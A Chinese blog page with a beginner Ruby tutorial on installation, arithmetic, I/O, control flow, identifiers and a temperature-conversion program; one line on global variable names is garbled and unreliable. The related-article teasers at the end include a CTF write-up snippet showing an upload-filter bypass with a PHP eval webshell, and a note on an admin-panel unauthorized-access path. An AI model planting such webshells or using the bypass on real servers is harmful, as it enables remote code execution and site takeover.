Ruby语言基础知识

news2024/11/24 3:15:26

Ruby是一种简单快捷的面向对象脚本语言,由日本人松本行弘(Yukihiro Matsumoto)在20世纪90年代开发,遵守GPL协议和Ruby License。它的灵感和特性来自于Perl、Smalltalk、Eiffel、Ada以及Lisp语言。
以下是Ruby语言的一些特点:
面向对象:在Ruby中,一切皆是对象。这意味着所有的数据和代码都被视为对象,每个对象都有自己的属性和方法。
动态类型:Ruby是一种动态类型语言,这意味着你不需要在声明变量时指定其类型。Ruby会根据需要在运行时自动确定变量的类型。
灵活性和动态性:Ruby是一种解释型脚本语言,具有强大的字符串处理能力和正则表达式。它还具有动态载入功能,可以在运行时重新定义自己,类也可以在运行时继承或取消继承。
自动内存管理:Ruby具有自动内存管理机制,这意味着开发人员不需要手动分配或释放内存。
开源:Ruby是开源的,有大量的活跃社区支持Ruby语言。这意味着有大量的资源和工具可供开发人员使用,并且有许多人可以为开发人员提供帮助和支持。
多精度整数:Ruby支持多精度整数,这意味着它可以处理任意大小的整数。
简洁和优雅的语法:Ruby的语法简单、清晰且易于阅读。它使用英语单词和简洁的符号来表示代码,使开发人员能够轻松地编写和理解代码。

首先需要直接在https://rubyinstaller.org/downloads/下载Ruby安装器安装到本地电脑即可。
安装完成后自动弹出以下内容,输入3即可。
在这里插入图片描述

安装完成后在命令行中直接输入irb,启动irb之后便可以直接运行Ruby代码。

1、Ruby语法生存包

1.1 Ruby的基本运算
# 加法
sum = 5 + 3  # 结果是8

# 减法
difference = 5 - 3  # 结果是2

# 乘法
product = 5 * 3  # 结果是15

# 除法
quotient = 5 / 3  # 结果是1,因为这是整数除法

# 取余
remainder = 5 % 3  # 结果是2,因为5除以3的余数

# 整数赋值
num = 10

# 字符串赋值
str = "Hello, World!"

# 数组赋值
arr = [1, 2, 3, 4, 5]

# 哈希赋值
hash = {"key1" => "value1", "key2" => "value2"}

# 等于
puts a == b  # 输出 false

# 不等于
puts a != b  # 输出 true

# 大于
puts a > b  # 输出 false

# 小于
puts a < b  # 输出 true

# 大于或等于
puts a >= b  # 输出 false

# 小于或等于
puts a <= b  # 输出 true

# 数字转字符串
num = 10
str = num.to_s  # "10"

# 字符串转整数
str = "10"
num = str.to_i  # 10

# 字符串转浮点数
str = "10.5"
num = str.to_f  # 10.5

# 如果字符串不能被解析为一个有效的数字,to_i和to_f方法将返回0:
str = "hello"
num = str.to_i  # 0
num = str.to_f  # 0.0

str = "hello"
num = Integer(str)  # 抛出 ArgumentError
num = Float(str)  # 抛出 ArgumentError
1.2 Ruby的基本I/O方法和流控制
# 输出
puts "Hello, World!"  # 在字符串后添加换行符
print "Hello, World!"  # 不添加换行符

# 输入
input = gets.chomp  # 读取一行输入并去掉末尾的换行符

# if语句
if a > b
  puts "a is greater than b"
elsif a < b
  puts "a is less than b"
else
  puts "a is equal to b"
end

# unless语句(除非)
unless a > b
  puts "a is not greater than b"
end

# while循环
while a < b
  puts "a is less than b"
  a += 1
end

# until循环(直到)
until a >= b
  puts "a is less than b"
  a += 1
end

# for循环
for i in 1..5
  puts i
end

# each循环
(1..5).each do |i|
  puts i
end
1.3 Ruby的特殊对象和注释
# nil
a = nil

# true
b = true

# false
c = false

# 这是一个单行注释

=begin
这是一个
多行注释
=end

2、多种多样的Ruby标识符

在Ruby中,标识符是用于标识变量、常量、方法、类和模块的名称。以下是Ruby中的一些标识符规则:

  1. 局部变量:局部变量名以小写字母或下划线开头。例如,my_var、_var。

  2. 常量:常量名以大写字母开头。例如,MyConstant。

  3. 全局变量:全局变量名以美元符号( )开头。例如, )开头。例如, )开头。例如,global_var。

  4. 实例变量:实例变量为独立的对象存储信息,名以@开头。例如,@instance_var。

  5. 类变量:类变量名以@@开头。例如,@@class_var。

  6. 方法:方法名可以以小写字母或下划线开头,也可以以问号(?)、感叹号(!)或等号(=)结尾。例如,my_method、method?、method!、method=。

  7. 类和模块:类名和模块名以大写字母开头,使用驼峰式命名法。例如,MyClass、MyModule。

请注意,Ruby是大小写敏感的,这意味着myVar和myvar是两个不同的标识符。

3、方法调用、消息和Ruby对象

Ruby把所有的数据结构和值都看做对象,从整数和字符串这样简单的标量(原子的)值,到数组这样的复杂的数据结构一概如此。每个对象都能响应一组特定的消息,对象能够接收的每个消息直接对应一个方法——有名称的、可以被有执行能力的对象触发的可执行例程。
对象也可以用字面量构造器表示,如字符串用双引号,或者已绑定值的变量。消息通过特殊的点运算符.送达: 点右边的消息被发送到点左边的对象上。例如:

x = "100".to_i

方法可以带有参数,这个参数同时也是对象。(虽然有些用于创建和操作对象的语法结构本身不是对象,但是Ruby中几乎所有一切都是对象)下面是一个带有参数的方法调用:

 x = "100".to_i(9)

这是生成一个九进制的100所得到的十进制整数,相当于81.
至于Ruby对象相当于高级语言中的类。

4、编写一个简单程序

创建一个c2f.rb文件如下

celsius = 100
fahrenheit = (celsius * 9 / 5) + 32
puts "The result is: "
puts fahrenheit
puts "."

使用如下命令进行编译运行
命令行中的-cw标志是两个标志的简写,-c可以检查语法错误,-w可以激活高级别的警告。
去掉标志便可以直接运行了

PS E:\Ruby> ruby -cw c2f.rb
Syntax OK
PS E:\Ruby> ruby c2f.rb
The result is:
212
.

5、键盘和文件I/O

5.1 键盘输入

修改c2f.rb代码使其可以获取输入,如下:

print "Hello. Please enter a Celsius value: "
celsius = gets
fahrenheit = (celsius.to_i * 9 / 5) + 32
puts "The result is: "
puts fahrenheit
puts "."

下面是运行这段代码的结果:

PS E:\Ruby> ruby c2f.rb
Hello. Please enter a Celsius value: 100
The result is:
212
.
PS E:\Ruby> ruby c2f.rb
Hello. Please enter a Celsius value: 23
The result is:
73
.
5.2 读取文件

新建一个temp.dat,同时使其只包含一个数字100。
同时修改r2f.rb

celsius = File.read("temp.dat")
fahrenheit = (celsius.to_i * 9 / 5) + 32
puts "The result is: "
puts fahrenheit
puts "."

运行结果为

PS E:\Ruby> ruby c2f.rb
The result is:
212
.
5.3 写入文件
celsius = gets
fahrenheit = (celsius.to_i * 9 / 5) + 32
fh = File.new("temp.out", "w")
fh.puts fahrenheit
fh.close

运行这段代码,无论输入什么,都可以在temp.out中看到转换好的华氏温度。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1092049.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Mini小主机All-in-one搭建教程1-安装Esxi7.0虚拟机系统

Mini小主机All-in-one搭建教程1-安装Esxi7.0虚拟机系统 最近小主机似乎很火&#xff0c;知名不知名的品牌&#xff0c;都出了各自的小主机。今天主要介绍小主机下搭建教程安装Esxi、Openwrt、群晖NAS、Win11、centos7、黑苹果、Android-x86系统&#xff0c;这戏系统 搞得好是…

嵌入式C语言自我修养《GNU C编译器扩展语法》学习笔记

目录 一、C语言标准和编译器 二、指定初始化 三、宏构造“利器”&#xff1a;语句表达式 四、typeof与container_of宏 五、零长度数组 六、属性声明&#xff1a;section 七、属性声明&#xff1a;aligned 一、C语言标准和编译器 C语言标准的发展过程&#xff1a; ●…

想要精通算法和SQL的成长之路 - 前缀和的应用

想要精通算法和SQL的成长之路 - 前缀和的应用 前言一. 区域和检索 - 数组不可变二. 二维区域和检索 - 矩阵不可变2.1 前缀和的计算2.2 用前缀和计算二维区域和 三. 矩形区域不超过 K 的最大数值和 前言 想要精通算法和SQL的成长之路 - 系列导航 一. 区域和检索 - 数组不可变 原…

c# xml 参数读取的复杂使用

完整使用2 生产厂家里面包含很多规格型号,一个规格型号里面包含很多出厂序列号,点击下一步如果检测到填充的和保存的不一样 就新增一条(如检测到生产厂家相同,但是规格型号不同,就新增一组规格型号)。 界面一:新增界面 界面2 删除界面 界面一:新增界面 load 其中…

导入Maven项目遇到的一些问题及解决

开发工具是IDEA&#xff0c; 一个Maven项目初次导入IDEA中&#xff0c;需要注意的几件事&#xff1a; 设置项目的编码格式&#xff08;或者提前设置全局的编码格式&#xff09;&#xff0c;一般是UTF-8&#xff1b;检查JDK版本和编译级别&#xff1b;检查Maven的版本&#xf…

centos7下安装elasticsearch7.8.1并配置远程连接

1、下载安装包 sudo wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.8.1-linux-x86_64.tar.gz 2、解压 sudo tar -zxvf elasticsearch-7.8.1-linux-x86_64.tar.gz 3、添加用户并设置密码 sudo useradd es sudo passwd es # 设置密码 Lida15…

NewStarCTF2023week2-Upload again!

尝试传修改后缀的普通一句话木马&#xff0c;被检测 尝试传配置文件 .htaccess 和 .user.ini 两个都传成功了 接下来继续传入经过修改的木马 GIF89a <script language"php"> eval($_POST[cmd]); </script> 没有被检测&#xff0c;成功绕过 直接上蚁剑…

课题学习(八)----卡尔曼滤波动态求解倾角、方位角

一、 卡尔曼滤波 卡尔曼滤波的应用要求系统和底层过程的测量模型都是线性的。离散时间线性状态空间系统的描述为: x k Φ k , k − 1 x k − 1 G k − 1 w k − 1 x_k\Phi_{k,k-1}x_{k-1}G_{k-1}w_{k-1} xk​Φk,k−1​xk−1​Gk−1​wk−1​    式中 Φ k , k − 1 \Phi_{…

原创先锋后台管理平台未授权访问

漏洞描述 原创先锋后台管理平台存在未授权访问漏洞&#xff0c;攻击者通过漏洞可以任意接管账户权限 漏洞复现 访问未授权的url&#xff1a; /admin/admin/admin_list.html漏洞证明如下&#xff1a; 文笔生疏&#xff0c;措辞浅薄&#xff0c;望各位大佬不吝赐教&#xff0…

智慧公厕云管理平台:公厕云大脑引领厕所革命未来之路

智慧公厕作为城市管理的重要组成部分&#xff0c;不仅为市民提供便利&#xff0c;更是城市形象的重要窗口。随着科技的发展&#xff0c;全域联网管理的智慧公厕云管理平台指挥大脑的建立&#xff0c;使得智慧公厕的跨区域、跨系统、跨业务、跨流程作业功能更加强大&#xff0c;…

Linux shell编程学习笔记12:布尔运算和逻辑运算

Linux Shell 脚本编程和其他编程语言一样&#xff0c;支持算数、关系、布尔、逻辑、字符串、文件测试等多种运算。前面几节我们陆续研究了 Linux shell编程 中的 字符串运算、算术运算和关系运算&#xff0c;今天我们来研究 Linux shell编程中的的布尔运算、逻辑运算。 一、…

COM编程入门Part Ⅱ - 深入理解COM服务器[译]

文章目录 1. 本文的目的 2. 介绍 3. 快速浏览COM服务器 4. 服务器生命周期管理 5. 实现接口&#xff0c;从IUnknown开始 6. CoCreateInstance()的内部 7. 注册COM服务器 8. 创建COM对象 - 类工厂 9. 示例自定义接口 10. 客户端使用我们的COM服务 11. 其他细节 本篇…

[入门一]C# webApi创建、与发布、部署、api调用

一.创建web api项目 1.1、项目创建 MVC架构的话&#xff0c;它会有view-model-control三层&#xff0c;在web api中它的前端和后端是分离的&#xff0c;所以只在项目中存在model-control两层 1.2、修改路由 打开App_Start文件夹下&#xff0c;WebApiConfig.cs ,修改路由&…

12.SpringBoot之RestTemplate的使用

SpringBoot之RestTemplate的使用 初识RestTemplate RestTemplate是Spring框架提供用于调用Rest接口的一个应用&#xff0c;它简化了与http服务通信方式。RestTemplate统一Restfull调用的标准&#xff0c;封装HTTP链接&#xff0c;只要需提供URL及返回值类型即可完成调用。相比…

小程序之基础入门(1)

⭐⭐ 小程序专栏&#xff1a;小程序开发专栏 ⭐⭐ 个人主页&#xff1a;个人主页 目录 一.前言 二.小程序简介 2.1 微信小程序的特点和优势&#xff1a; 三.小程序的安装与使用 五.小程序入门案例及目录结构 好啦&#xff01;&#xff01;今天的分享就到这啦&#xff01;…

多测师肖sir_高级金牌讲师_python之模块008

python之模块 一、模块的介绍 &#xff08;1&#xff09;python模块&#xff0c;是一个python文件&#xff0c;以一个.py文件&#xff0c;包含了python对象定义和pyhton语句 &#xff08;2&#xff09;python对象定义和python语句 &#xff08;3&#xff09;模块让你能够有逻辑…

微信浏览器大字体模式 按钮文字居中用line-height 显示异常

按钮文字居中用line-height 的css 在微信浏览器大字体模式&#xff0c;会导致显示错误。改成flex 居中就好了

R语言手动绘制NHANSE数据基线表并聊聊NHANSE数据制作亚组交互效应表的问题(P for interaction)

美国国家健康与营养调查&#xff08; NHANES, National Health and Nutrition Examination Survey&#xff09;是一项基于人群的横断面调查&#xff0c;旨在收集有关美国家庭人口健康和营养的信息。 地址为&#xff1a;https://wwwn.cdc.gov/nchs/nhanes/Default.aspx 在既往的…

精品Python基于django就业数据分析平台求职招聘应聘-爬虫可视化大屏

《[含文档PPT源码等]精品基于django就业数据分析平台-爬虫》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程等&#xff01; 软件开发环境及开发工具&#xff1a; 开发语言&#xff1a;python 使用框架&#xff1a;Django 前端技术&#xff1a;JavaS…

常见锁的分类

入职体验&#xff1a; 今天运维岗位刚入职&#xff0c;但是目前还没有办理入职手续&#xff0c;但是领导发了一堆资料&#xff01;看了一下&#xff0c;非常多的新东西&#xff0c;只能说努力一把&#xff01;&#xff01;&#xff01; 一、锁的分类 1.1 可重入锁、不可重入锁…